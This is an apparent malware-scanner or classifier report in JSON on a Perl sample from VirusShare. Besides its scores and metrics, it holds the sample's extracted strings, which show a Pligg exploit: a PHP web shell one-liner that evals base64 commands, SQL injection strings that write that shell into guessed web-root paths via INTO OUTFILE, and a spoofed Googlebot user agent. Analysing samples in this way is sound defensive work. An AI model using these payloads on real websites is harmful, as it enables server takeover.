{
  "ml": {
    "v": "7",
    "eng": "2.0.1-rc.1",
    "lvl": -1,
    "conf": 0,
    "mods": [
      {
        "cls": 0,
        "raw": 0.000054528315,
        "rte": "az",
        "prob": 0.000054528315
      },
      {
        "cls": 0,
        "raw": 0.000010788441,
        "rte": "az/scripts",
        "prob": 0.000010788441
      },
      {
        "cls": 0,
        "raw": 0.00004005432,
        "rte": "az/perl",
        "prob": 0.00004005432
      }
    ],
    "prob": 0.000054528315,
    "files": [
      {
        "id": 0,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000054528314649360254,
        "type": "perl"
      }
    ],
    "version": "v18.18",
    "analyzed_at": "2026-06-15T04:45:33Z"
  },
  "path": "VirusShare_be8ee4b363b0a24dbb500d88b78abe7d",
  "raw": {
    "v": "7",
    "tv": "061e3",
    "files": [
      {
        "id": 0,
        "ctx": [
          {
            "a": 0,
            "b": "boXZ.B8\u0026{yx(kOywPzO@",
            "l": 1,
            "n": [
              {
                "c": 2,
                "d": "Perl shebang line",
                "i": "metadata/lang/shebang::perl",
                "o": 0,
                "z": 15
              }
            ]
          },
          {
            "a": 17,
            "b": "4f",
            "l": 2
          },
          {
            "a": 19,
            "b": "jZ?/rB-X5",
            "l": 3
          },
          {
            "a": 759,
            "b": "arR^H4f",
            "l": 30
          },
          {
            "a": 765,
            "b": "j.5RR4f",
            "l": 31
          },
          {
            "a": 771,
            "b": "4f",
            "l": 32,
            "n": [
              {
                "c": 2,
                "d": "Perl source syntax patterns",
                "i": "metadata/lang/scripted::source-syntax",
                "o": 771,
                "z": 13
              }
            ]
          },
          {
            "a": 773,
            "b": "B-RapB98Cpv@%^w",
            "l": 33
          },
          {
            "a": 786,
            "b": "B-RapCvtJfx(mN8i$h",
            "l": 34
          },
          {
            "a": 801,
            "b": "B-RapoJL4Ki-QljAZstHzGE@H",
            "l": 35,
            "n": [
              {
                "c": 3,
                "d": "Perl LWP HTTP client import",
                "i": "micro-behaviors/communications/http/lib/lwp::perl-lwp-useragent",
                "o": 801,
                "z": 19
              }
            ]
          },
          {
            "a": 822,
            "b": "B-Rapnk@L+iYZeIADL\u0026lBuhDIz/6ufzAwp",
            "l": 36,
            "n": [
              {
                "c": 3,
                "d": "Perl POST helper import",
                "i": "micro-behaviors/communications/http/xmlrpc::perl-http-post-helper",
                "o": 822,
                "z": 26
              }
            ]
          },
          {
            "a": 850,
            "b": "4f",
            "l": 37
          },
          {
            "a": 852,
            "b": "lsB+HwPxgFi$h",
            "l": 38
          },
          {
            "a": 863,
            "b": "4f",
            "l": 39
          },
          {
            "a": 865,
            "b": "bZZZ$atC}!",
            "l": 40
          },
          {
            "a": 874,
            "b": "zfWlHwQ5fguV*y9arS/\u0026B7/o1BrCHxaxrF\u003exjSFui$h",
            "l": 41,
            "n": [
              {
                "c": 2,
                "d": "Perl sigil variable declaration",
                "i": "metadata/lang/scripted::sigil-variable-decl",
                "o": 874,
                "z": 12
              }
            ]
          },
          {
            "a": 909,
            "b": "zfWlHB7GxnuVoB}xDPCXB7/o1BrC%UaswJ#4f",
            "l": 42
          },
          {
            "a": 939,
            "b": "4f",
            "l": 43
          },
          {
            "a": 941,
            "b": "zfWlHB8U\u00267wPw[Rawt\u003ckiYZnZwPy7HwO#Pwk5K}Qi$h",
            "l": 44
          },
          {
            "a": 976,
            "b": "bY^{swmY^kk6gHQwP8Zkc)gI)dlv$",
            "l": 45
          },
          {
            "a": 1000,
            "b": "bY^{swmY^kk4e8nzGEoOo(Ct(y\u00260Jkh7*N9c$vgjAa9\u003c5vR/Qqav*u*xkzc*z/^S/e?]Bgd}\u003c3DA5]T9CxXl-xk.Z3y?kkez/4dpz/^QBBzU?ycN?a^",
            "l": 46,
            "n": [
              {
                "c": 3,
                "d": "Mozilla/5.0 User-Agent prefix",
                "i": "micro-behaviors/communications/http/user-agent::browser-mozilla-5-0",
                "o": 1016,
                "z": 13
              }
            ]
          },
          {
            "a": 1093,
            "b": "4f",
            "l": 47
          },
          {
            "a": 1095,
            "b": "zfWlHwmYvWB7/c3y-\u003e\u003e-cOGpIvSKhtvqYH^wPxzxxMbsX4f",
            "l": 48
          },
          {
            "a": 1255,
            "b": "4f",
            "l": 51
          },
          {
            "a": 1257,
            "b": "zfWl?Aa9\u003c4B09Q*AD-/u",
            "l": 52
          },
          {
            "a": 1274,
            "b": "2}{EgAXzSXCq0SKwn+$0atm[DAXzSXCq0=Jv{%g!z/Z1NxMN^6v@\u0026+CC42zACxXlNflQ=Afl.R:Cq0SFB98blxcn\u003cJvra2BCxUYNBzU?pflQ=Afl.R:flR2EB98Ej",
            "l": 53,
            "n": [
              {
                "c": 2,
                "d": "Hardcoded localhost network host",
                "i": "micro-behaviors/communications/ip/literal::localhost-source",
                "o": 1300,
                "z": 9
              }
            ]
          },
          {
            "a": 1375,
            "b": "2}]$gzdLwACxUeLfkbovwIm.sBz$+zC4+/nBAm(",
            "l": 54,
            "n": [
              {
                "c": 3,
                "d": "Hardcoded absolute home directory path",
                "i": "micro-behaviors/fs/path/location::hardcoded-home-dir-path",
                "o": 1387,
                "z": 12
              }
            ]
          },
          {
            "a": 1407,
            "b": "2}{BxAXzlEv{%gbvq]T+xK@\u0026gByYr1A$5",
            "l": 55
          },
          {
            "a": 1434,
            "b": "2}{HDCq0SKwn+$04f",
            "l": 56
          },
          {
            "a": 1452,
            "b": "4f",
            "l": 58
          },
          {
            "a": 1454,
            "b": "wQ5fgz!Tqwas7JyAbn)7A+(\u003cEi$h",
            "l": 59
          },
          {
            "a": 1477,
            "b": "4f",
            "l": 60,
            "n": [
              {
                "c": 2,
                "d": "Perl subroutine definition",
                "i": "metadata/lang/scripted::subroutine-definition",
                "o": 1477,
                "z": 15
              }
            ]
          },
          {
            "a": 1479,
            "b": "B9g}mwQ5fgz!TqoDKP",
            "l": 61
          },
          {
            "a": 1494,
            "b": "2[l",
            "l": 62
          },
          {
            "a": 2646,
            "b": "2[l",
            "l": 98
          },
          {
            "a": 2649,
            "b": "2{P:zxK$W?x(mMaw]zYjB7/c3y-)XqwPIB2v}u8",
            "l": 99
          },
          {
            "a": 2681,
            "b": "2{:L5AuEy!njt*jar\u003eGvBz%n]fc\u003ejHB95WDvrufdwmYvWB7/c3y:7}I",
            "l": 100,
            "n": [
              {
                "c": 2,
                "d": "HTTP protocol prefix",
                "i": "micro-behaviors/communications/http/message::http-prefix",
                "o": 2694,
                "z": 7
              }
            ]
          },
          {
            "a": 2726,
            "b": "2{:L5B09Q*bY^{swmY^kk5$jOB.bSoc)f^QwPn?wi$h",
            "l": 101
          },
          {
            "a": 2761,
            "b": "4f",
            "l": 102
          }
        ],
        "mol": "H₂(Cm₃F)",
        "sha": "da38738f24b75238da61a7e41615ebf0df05875ab40e130b9a58dbbab4306874",
        "fact": {
          "id": "perl",
          "imp": [
            [
              "",
              "HTTP::Request::Common"
            ],
            [
              "",
              "LWP::UserAgent"
            ],
            [
              "",
              "strict"
            ],
            [
              "",
              "warnings"
            ]
          ],
          "mbr": [
            "LWP::UserAgent.new"
          ],
          "met": {
            "ast": {
              "op.lor": 2.0,
              "max_depth": 15.0,
              "op.concat": 2.0,
              "call_count": 14.0,
              "node_count": 782.0,
              "member_count": 1.0,
              "op_density.lor": 0.0,
              "identifier_count": 5.0,
              "member_depth_max": 2.0,
              "op_density.concat": 0.0,
              "string_literal_count": 21.0,
              "array_literal_max_length": 1.0
            },
            "file": {
              "size": 3378.0,
              "entropy": 5.52,
              "size_bytes": 3378.0
            },
            "text": {
              "tab_count": 114.0,
              "digit_ratio": 0.02,
              "space_count": 316.0,
              "total_lines": 134.0,
              "char_entropy": 5.52,
              "mixed_indent": 1.0,
              "unique_chars": 94.0,
              "string_density": 0.16,
              "avg_line_length": 23.22,
              "max_line_length": 99.0,
              "empty_line_ratio": 0.25,
              "last_line_length": 26.0,
              "whitespace_ratio": 0.21,
              "most_common_ratio": 0.06,
              "identifier_density": 0.04,
              "line_length_stddev": 24.04,
              "normalized_string_count": 1.81,
              "repeated_char_sequences": 2.0,
              "suspicious_string_ratio": 0.14,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 5.0,
              "trailing_whitespace_lines": 18.0,
              "most_common_char_codepoint": 101.0,
              "normalized_unique_identifiers": 0.71
            },
            "calls": {
              "count": 14.0
            },
            "binary": {
              "overall_entropy": 5.52
            },
            "source": {
              "function_count": 4.0
            },
            "imports": {
              "count": 4.0,
              "unique_modules": 4.0,
              "third_party_count": 4.0,
              "third_party_ratio": 1.0
            },
            "members": {
              "count": 1.0
            },
            "strings": {
              "total": 21.0,
              "url_count": 1.0,
              "avg_length": 42.38,
              "max_length": 131.0,
              "path_count": 2.0,
              "avg_entropy": 3.67,
              "empty_count": 2.0,
              "sql_strings": 2.0,
              "total_bytes": 890.0,
              "entropy_stddev": 1.36,
              "embedded_code_candidates": 1.0
            },
            "comments": {
              "chars": 142.0,
              "lines": 5.0,
              "total": 5.0,
              "to_code_ratio": 0.04
            },
            "functions": {
              "count": 4.0
            },
            "identifiers": {
              "count": 5.0,
              "total": 5.0,
              "avg_length": 8.4,
              "max_length": 14.0,
              "min_length": 5.0,
              "avg_entropy": 2.84,
              "reuse_ratio": 1.0,
              "unique_count": 5.0,
              "length_stddev": 3.26,
              "high_entropy_count": 1.0,
              "high_entropy_ratio": 0.2,
              "all_lowercase_ratio": 0.2
            }
          },
          "str": [
            [
              870,
              "10",
              "1"
            ],
            [
              994,
              "10",
              "9"
            ],
            [
              1015,
              "u8",
              "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
            ],
            [
              1016,
              "u8",
              "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
            ],
            [
              1111,
              "u8",
              "/libs/manager.php"
            ],
            [
              1112,
              "u8",
              "/libs/manager.php"
            ],
            [
              1149,
              "u8",
              "q(\u003c?php @eval(base64_decode($_GET['cmd']));?\u003e)"
            ],
            [
              1151,
              "u8",
              "\u003c?php @eval(base64_decode($_GET['cmd']));?\u003e"
            ],
            [
              1219,
              "u8",
              ","
            ],
            [
              1220,
              "u8",
              ","
            ],
            [
              1275,
              "u8",
              "/var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting /var/www/html /var/www/vhosts\r\n\t/home/www  /home/httpd/vhos"
            ],
            [
              1518,
              "u8",
              "\\n\\tExploiting: $_"
            ],
            [
              1519,
              "u8",
              "\\n\\tExploiting: $_"
            ],
            [
              1700,
              "u8",
              "$prot://$host$path/evb/check_url.php"
            ],
            [
              1701,
              "u8",
              "$prot://$host$path/evb/check_url.php"
            ],
            [
              1914,
              "u8",
              "\\n\\tFound server path: $serv_path"
            ],
            [
              1915,
              "u8",
              "\\n\\tFound server path: $serv_path"
            ],
            [
              1995,
              "u8",
              " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$def_shell'--  "
            ],
            [
              1996,
              "u8",
              " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$def_shell'--"
            ],
            [
              2087,
              "u8",
              "$prot://$host$path/evb/check_url.php?url="
            ],
            [
              2088,
              "u8",
              "$prot://$host$path/evb/check_url.php?url="
            ],
            [
              2223,
              "u8",
              "\\n\\tUnable to find path, starting bruteforce...\\n"
            ],
            [
              2224,
              "u8",
              "\\n\\tUnable to find path, starting bruteforce...\\n"
            ],
            [
              2327,
              "u8",
              "\\tTrying: $serv_path$path$def_shell %s\\r"
            ],
            [
              2328,
              "u8",
              "\\tTrying: $serv_path$path$def_shell %s\\r"
            ],
            [
              2371,
              "u8",
              "  "
            ],
            [
              2378,
              "10",
              "10"
            ],
            [
              2429,
              "u8",
              " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$path$def_shell'--  "
            ],
            [
              2430,
              "u8",
              " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$path$def_shell'--"
            ],
            [
              2527,
              "u8",
              "$prot://$host$path/evb/check_url.php?url="
            ],
            [
              2528,
              "u8",
              "$prot://$host$path/evb/check_url.php?url="
            ],
            [
              2694,
              "u8",
              "http://$host$path$def_shell"
            ],
            [
              2695,
              "u8",
              "http://$host$path$def_shell"
            ],
            [
              2809,
              "u8",
              "\\n\\tExploited: http://$host$path$def_shell\\n\\n"
            ],
            [
              2810,
              "u8",
              "\\n\\tExploited: http://$host$path$def_shell\\n\\n"
            ],
            [
              2879,
              "u8",
              "\\n\\tExploiting failed\\n\\n"
            ],
            [
              2880,
              "u8",
              "\\n\\tExploiting failed\\n\\n"
            ],
            [
              3060,
              "u8",
              "\\n\\tUsage:\\t$0 http://site.com [full server path]\r\n\t\r\n\tExample:\r\n\t\t$0 http://localhost/ /var/www/htdocs\r\n\t\t$0 http://localhost/\\"
            ],
            [
              3061,
              "u8",
              "\\n\\tUsage:\\t$0 http://site.com [full server path]\r\n\t\r\n\tExample:\r\n\t\t$0 http://localhost/ /var/www/htdocs\r\n\t\t$0 http://localhost/\\"
            ],
            [
              3230,
              "u8",
              "\r\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\t  Pligg 9.9.5 Beta Perl exploit\r\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n"
            ],
            [
              3234,
              "u8",
              "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\t  Pligg 9.9.5 Beta Perl exploit\r\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n"
            ]
          ],
          "tgt": [
            "LWP::UserAgent"
          ],
          "val": {
            "file.stem": "VirusShare_be8ee4b363b0a24dbb500d88b78abe7d",
            "file.basename": "VirusShare_be8ee4b363b0a24dbb500d88b78abe7d",
            "source.shebang": "/usr/bin/perl",
            "source.language": "perl",
            "source.imports[0]": "HTTP::Request::Common",
            "source.imports[1]": "LWP::UserAgent",
            "source.imports[2]": "strict",
            "source.imports[3]": "warnings",
            "source.strings[0]": "\r\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\t  Pligg 9.9.5 Beta Perl exploit\r\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n",
            "source.strings[1]": " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$def_shell'--",
            "source.strings[2]": " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$def_shell'--  ",
            "source.strings[3]": " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$path$def_shell'--",
            "source.strings[4]": " UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$path$def_shell'--  ",
            "source.strings[5]": "$prot://$host$path/evb/check_url.php",
            "source.strings[6]": "$prot://$host$path/evb/check_url.php?url=",
            "source.strings[7]": "/libs/manager.php",
            "source.strings[8]": "/var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting /var/www/html /var/www/vhosts\r\n\t/home/www  /home/httpd/vhosts\r\n\t/usr/local/apache/htdocs\r\n\t/www/htdocs\r\n",
            "source.strings[9]": "\u003c?php @eval(base64_decode($_GET['cmd']));?\u003e",
            "source.has_imports": true,
            "source.strings[10]": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
            "source.strings[11]": "\\n\\tExploited: http://$host$path$def_shell\\n\\n",
            "source.strings[12]": "\\n\\tExploiting failed\\n\\n",
            "source.strings[13]": "\\n\\tExploiting: $_",
            "source.strings[14]": "\\n\\tFound server path: $serv_path",
            "source.strings[15]": "\\n\\tUnable to find path, starting bruteforce...\\n",
            "source.strings[16]": "\\n\\tUsage:\\t$0 http://site.com [full server path]\r\n\t\r\n\tExample:\r\n\t\t$0 http://localhost/ /var/www/htdocs\r\n\t\t$0 http://localhost/\\n\\n",
            "source.strings[17]": "\\tTrying: $serv_path$path$def_shell %s\\r",
            "source.strings[18]": "http://$host$path$def_shell",
            "source.strings[19]": "q(\u003c?php @eval(base64_decode($_GET['cmd']));?\u003e)",
            "source.strings[20]": "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\t  Pligg 9.9.5 Beta Perl exploit\r\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n"
          }
        },
        "find": [
          {
            "id": "micro-behaviors/fs/path/location::hardcoded-home-dir-path",
            "conf": 0.800000011920929,
            "crit": 3,
            "desc": "Hardcoded absolute home directory path"
          },
          {
            "id": "micro-behaviors/communications/http/user-agent::browser-mozilla-5-0",
            "conf": 0.699999988079071,
            "crit": 3,
            "desc": "Mozilla/5.0 User-Agent prefix"
          },
          {
            "id": "metadata/lang/scripted::use-module",
            "conf": 0.8500000238418579,
            "crit": 2,
            "desc": "Perl module import statement"
          },
          {
            "id": "metadata/lang/scripted::sigil-variable-decl",
            "conf": 0.800000011920929,
            "crit": 2,
            "desc": "Perl sigil variable declaration"
          },
          {
            "id": "micro-behaviors/communications/http/lib/lwp::perl-lwp-useragent",
            "atk": "T1071.001",
            "conf": 0.8999999761581421,
            "crit": 3,
            "desc": "Perl LWP HTTP client import"
          },
          {
            "id": "micro-behaviors/communications/http/xmlrpc::perl-http-post-helper",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.8799999952316284,
            "crit": 3,
            "desc": "Perl POST helper import"
          },
          {
            "id": "metadata/lang/scripted::subroutine-definition",
            "conf": 0.8500000238418579,
            "crit": 2,
            "desc": "Perl subroutine definition"
          }
        ],
        "path": "VirusShare_be8ee4b363b0a24dbb500d88b78abe7d",
        "risk": 2,
        "size": 3378,
        "type": "perl"
      }
    ]
  }
}